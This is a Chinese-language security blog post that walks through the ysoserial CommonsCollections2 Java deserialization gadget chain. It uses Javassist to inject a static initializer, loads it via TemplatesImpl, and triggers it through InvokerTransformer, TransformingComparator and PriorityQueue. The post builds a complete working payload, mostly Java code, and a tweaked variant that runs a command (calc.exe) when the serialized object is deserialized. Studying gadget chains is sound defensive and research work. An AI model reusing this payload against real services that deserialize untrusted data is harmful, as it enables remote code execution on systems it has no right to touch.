0x00 前言
其实可以写一篇log4j2的利用的文章,不过怕了写出来影响不好,被别人学去攻击,所以还是等风头过去再写一下好了,不过已经在项目中加了一个Demo(反正没人看,应该没事)。12月已经过去一半了,上次立的一天分析一个Gadget的flag,到现在也只分析完CC1和URLDNS🤣,所以本篇文章就接着来分析ysoserial中的CC2链。
本篇包含以下元素:
Javassist对字节码的操作
ClassLoader对字节码的加载
TemplatesImpl链的构造
CC2-Gadget的分析(最后居然写出了一个和网上和ysoserial工具里有点不一样的Payload👍)
CC2-Gadget的利用(JDK7和8都可以跑通,14好像因为模块问题不行,下次有空再更细致的测试)
因为这条链的艺术性很高,一直在想怎么才能写好,所以一直托更。😋绝不是因为又摆烂玩游戏去了哦
0x01 前置知识
Javassist
Javassist是一个可以对字节码进行编辑的Java库(需要自己导入,建议使用Maven)
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.1.GA</version>
</dependency>
通过他,我们可以很方便的在一个类中插入新的方法和代码。一个例子如下:
首先创建一个空类:
//use javassist to add something
public class Hello {
public void SayHello(){
}
}
然后我们使用javassist去为他加上一些东西:
public class JavassistDemo {
public static void main(String[] args) throws Exception{
//获取类的搜索路径
ClassPool pool = ClassPool.getDefault();
//从搜索路径中获取对应类的CtClass对象,如果没有,则会自动加入
CtClass ctClass = pool.get(Hello.class.getName());
//定义要插入的代码
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
//makeClassInitializer() -> 新增静态代码块。insertBefore在static中靠前位置插入
ctClass.makeClassInitializer().insertBefore(cmd);
//设置类名
ctClass.setName("Hello");
//写入到对应目录下
ctClass.writeFile("testClass");
}
}
运行上述代码,将会在testClass目录生成一个Hello.class,其反编译内容如下:
public class Hello {
public Hello() {
}
public void SayHello() {
}
static {
Runtime.getRuntime().exec("calc.exe");
}
}
可以看到,其以我们一开始给出的空的Hello类为模板,插入了给定的static代码。
ClassLoder
ClassLoader是Java内置的一个类,借助他,可以实现将字节码加载为内存形式的class对象,然后进行进一步的操作。一个例子如下:
使用ClassLoader加载并实例化我们上面用Javassist生成的新类,首先我们需要自定义一个loader:
public class ClassLder extends ClassLoader{
public ClassLder(ClassLoader parent){
super(parent);
}
public Class define(byte []b){
return super.defineClass(b,0,b.length);//加载字节码
}
}
然后我们接着在上面的 JavassistDemo中追加如下代码:
public class JavassistDemo {
public static void main(String[] args) throws Exception{
//同上,省略
//将hello对象转换为字节码
final byte[] classBytes = ctClass.toBytecode();
//获取loader
ClassLder loader = new ClassLder(JavassistDemo.class.getClassLoader());
//加载字节码,并实例化
loader.define(classBytes).newInstance();
}
}
运行之后,我们就会发现,成功的由字节码生成了实例对象。
0x02 TemplatesImpl链
通过上面的例子,我们发现,如果一个字节码形式的类被写入了恶意的static代码,那么在利用ClassLoader进行实例化的时候,就会触发。CC2正是这个思路,他借助TemplatesImpl(com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java)构造了一条触发链,下面我们就来一步步分析。
newTransformer
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
//省略
}
在TemplatesImpl#newTransformer中,我们可以看到一个getTransletInstance()的方法调用,这个名字听起来就像是实例化,跟进他,进一步查看。
getTransletInstance
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
//省略
如果细心的话,就会发现这里的代码和我们在上面用ClassLoader加载字节码并实例化十分类似,都有definexx,然后使用newInstance进行实例化。跟进defineTransletClasses,会发现确实是使用了ClassLoader。
defineTransletClasses
private void defineTransletClasses()
throws TransformerConfigurationException {
//略
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
//略
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
//省略
代码有点多,但是只需要看几个关键部分。
第一个就是这里使用了自定义的ClassLoader:
TransletClassLoader loader = (TransletClassLoader) xxx
查看类声明如下:
static final class TransletClassLoader extends ClassLoader {}
第二个重要部分如下:
_class[i] = loader.defineClass(_bytecodes[i]);
这里使用了loader的defineClass方法来从_bytecodes数组(这是一个二元数组)中加载字节码,放入_class[]数组中。所以defineClass实现的效果就是用ClassLoader加载字节码,然后放入_class[]数组。最后,当我们回到getTransletInstance时,就会调用_class[_transletIndex].newInstance()
实例化字节码中的类。
几处细节
经过上面的分析,我们似乎已经能够构造出一个完整的TemplatesImpl链,但是在构造过程中,我们还有几处细节需要注意。
首先是getTransletInstance中会对_name
参数进行检查是否为空:
if (_name == null) return null;
另外一个点是,getTransletInstance中实例化时 _class[_transletIndex].newInstance()
中的_transletIndex
,这个变量默认是-1,但是在进入defineTransletClasses时会进行重新赋值:
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
为了保证能够成功实例化,我们就需要进入到 _transletIndex = i,而这里会进行一个父类的检查,判断是否为ABSTRACT_TRANSLET
,查看代码,其值为:
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
可以发现在实例化时,也会进行这个类的类型转换:AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance()
。
此外,在构造Loader的时候,TransletClassLoader loader = (TransletClassLoader)
的时候有一个_tfactory.getExternalExtensionsMap()
,这里如果不指定会出现空指针(一开始按照参考文章说的没有加,发现报错,但也有可能是我太菜的操作失误)。查看_tfactory的定义如下:
private transient TransformerFactoryImpl _tfactory = null;
所以需要赋值TransformerFactoryImpl类型的值。
由上,我们便可知,在构造时,需要给TemplatesImpl链赋予_name,_tfactory,另外还需要_bytecodes中的字节码类要继承AbstractTranslet。
构造
第一步,我们先写出一个供Javassist操作的模板类,他需要继承AbstractTranslet(也可以先不继承,后面用Javassist的setSuperclass修改父类),同时实现Serializable接口:
public class MyTemplate extends AbstractTranslet implements Serializable {
@Override
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
第二步,用Javassist对模板类插入static的恶意代码:
public class TempChain {
public static void main(String[] arags) throws Exception{
final byte[] byteCode = TempChain.makeByteCode();
}
public static byte[] makeByteCode() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(MyTemplate.class.getName());
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setName("NormalClass");
return ctClass.toBytecode();
}
}
第三步,利用反射调用,对TemplatesImpl类进行赋值,修改其_name、_tfactory和_bytecodes[][]的值:
public static void main(String[] arags) throws Exception{
final byte[] byteCode = TempChain.makeByteCode();
//set the _name for templates
TemplatesImpl templates = new TemplatesImpl();
Class clz = templates.getClass();
Field field1 = clz.getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templates, "foo");
//set the _bytecodes[][] for templates
Field field2 = clz.getDeclaredField("_bytecodes");
field2.setAccessible(true);
field2.set(templates,new byte[][]{byteCode});
//set the _tfactory for templates
Field field3 = clz.getDeclaredField("_tfactory");
field3.setAccessible(true);
field3.set(templates, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
}
第四步,调用templates中的newTransformer进行测试:
//test
templates.newTransformer();
如果这时,弹出了计算器,则表示成功。
0x03 InvokerTransformer
transform
在CC1中,我们就对InvokerTransformer#transform(Object input)有所了解,通过他,可以让我们反射调用到任意方法。CC2就是利用他,来调用templates的newTransformer方法(至于为什么要这么做,大概是因为很多类都有transform而没有newTransformer吧,可以帮助我们继续构造Gadget)。下面是一个测试,在上文的代码中添加如下行:
InvokerTransformer invoker = new InvokerTransformer("newTransformer",new Class[0],new Object[0]);
invoker.transform(templates);
成功弹出计算器。
0x04 PriorityQueue链
虽然成功包装成了transform即可调用,但是这显然还不够,需要找到一个能够由readObject类触发的链进一步包装才行。这里你可能会想到可以顺着CC1的思路,用ChainedTransformer,最后再用Anno…Handler进行包装,但是好像CC4.0中某些类不能序列化了,所以不行(未验证,以后再测试)。CC2-Gadget中采用PriorityQueue链最终达到了readObject触发的效果,下面一步步来分析。
readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}
这里的queue虽然在PriorityQueue类中声明为transient,但是因为重写的writeObject有把他序列化,所以还是参与了序列化。不过这并没有什么重要的,继续跟进heapify。
heapify
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
>>>
是无符型右移位算,效果相当于除以2。这里会把i和queue[i]传入,继续跟进siftDown。
siftDown
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
当comparator存在时,就会进入 siftDownUsingComparator。这个参数是可控的:
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
继续跟进。
siftDownUsingComparator
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
在这里会调用comparator中的compare方法,老实说,我也一开始没看懂这有什么用,但是接下来出现的一个类,就会将所有东西给串起来,让你豁然开朗。
0x05 TransformingComparator
这个类看名字就是一个comparator,在他的compare方法中,调用了我们熟悉的transform:
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
可以看到,不仅是调用了transform,而且传参类型是object,意味着我们的TemplatesImpl链可以传进去。另外这里的transformer也是可控的:
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
所以,我们完全可以把transformer赋值为InvokerTransformer,如果传入的obj(即我们PriorityQueue链中的queue)再为TemplatesImpl链的话,整个Gadget就被串了起来。
0x06 构造Gadget
思路
- 准备好一个TemplatesImpl链(在上文已经成功构造好了)
- 创建new InvokerTransformer(“newTransformer”,new Class[0],new Object[0])的invoker
- 准备一个TransformingComparator对象,并把他的transformer设置为上一步获得的invoker
- 创建一个PriorityQueue,将其comparator设置为上面的TransformingComparator,queue[]中传入我们的TemplatesImpl链
细节
queue[]是一个数组,我们要把TemplatesImpl链设置为queue[0],queue[1]?还是queue[x]呢?下面仔细思考一下:
在触发处:
//public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
在siftDownUsingComparator传入compare时:
//private void siftUpUsingComparator(int k, E x)
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
在heapify处:
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);//private void siftDown(int k, E x)
由上,可以得到,transform(obj1)中的obj1就是一开始的queue[i],这里的i时queue的size除2再减去1,所以size最少要为2,这时我们才能够把queue[0]设置为TemplatesImpl链。
构造
由上面的思路,开始构造(注意,此Payload不是最终Payload,还需要修正):
public class Payload {
public static void main(String[] args) throws Exception{
//get TemplateImplChain
TemplatesImpl templates = (TemplatesImpl) Payload.makeTemp();
//make invoker and set its iMethodName to be newTransformer
InvokerTransformer invoker = new InvokerTransformer("newTransformer",
new Class[0], new Object[0]);
//make a comparator and set its this.transformer to be invoker
TransformingComparator comparator = new TransformingComparator(invoker);
//make PriorityQueueChain and set its comparator
PriorityQueue priorityQueue = new PriorityQueue(1,comparator);//initialxxx must >= 1
//set queue[0] to be TemplateImplChain && size==2
Class clz = priorityQueue.getClass();
Field field = clz.getDeclaredField("queue");
field.setAccessible(true);
field.set(priorityQueue, new Object[]{templates,"foobar"});
//test
testSerialize(priorityQueue);
}
public static Object makeTemp() throws Exception{
//make bytecode
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(MyTemplate.class.getName());
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setName("NormalClass");
byte[] byteCode = ctClass.toBytecode();
//make TemplateImplChain
TemplatesImpl templates = new TemplatesImpl();
Class clz = templates.getClass();
Field field1 = clz.getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templates, "foo");
//set the _bytecodes[][] for templates
Field field2 = clz.getDeclaredField("_bytecodes");
field2.setAccessible(true);
field2.set(templates,new byte[][]{byteCode});
//set the _tfactory for templates
Field field3 = clz.getDeclaredField("_tfactory");
field3.setAccessible(true);
field3.set(templates, Class.forName(
"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
return templates;
}
public static void testSerialize(Object payload) throws Exception{
//序列化
FileOutputStream file = new FileOutputStream("abcdefu.bin");//why is this song everywhere :3
ObjectOutputStream se = new ObjectOutputStream(file);
se.writeObject(payload);
se.close();
//反序列化
FileInputStream file1 = new FileInputStream("abcdefu.bin");
ObjectInputStream unse = new ObjectInputStream(file1);
unse.readObject();
unse.close();
}
}
看起来很好,但是运行后却没有成功?why??????
小小的修正
调试之后,发现new PriorityQueue后,size=0,而我们的readObject中,size最少要2,原来这个size并不是queue大小为2就会自动变的。看了网上和工具里的Payload后,发现他们都是使用的是queue.add(1)两次来占位,把size变成2,最后用反射来修改queue,不过这样一开始就不能把newTransformer设置进去,需要后面反射来设置,因为add最后也会调用compare(具体可以看参考文章,我觉得我的修正更好🤣)。不过既然反射可以修改queue,为什么不用来修改一下size捏?所以,我们修正后的Payload如下:
//set queue[0] to be TemplateImplChain && size==2
Class clz = priorityQueue.getClass();
Field field = clz.getDeclaredField("queue");
field.setAccessible(true);
field.set(priorityQueue, new Object[]{templates,"foobar"});
field = clz.getDeclaredField("size");//set the size to be 2,after the new PriorityQueue the size is still 0
field.setAccessible(true);
field.set(priorityQueue, 2);
把这一部分修改到上文的Payload中,就行了。(只多加入了3句话哦,三句话,让一个Payload成功运行,关注我,我是…🤣)
0x07 参考
Ysoserial Commons-Collections 利用链分析 (seebug.org)
ysoserial CommonsCollections2 详细分析 - 安全客,安全资讯平台 (anquanke.com)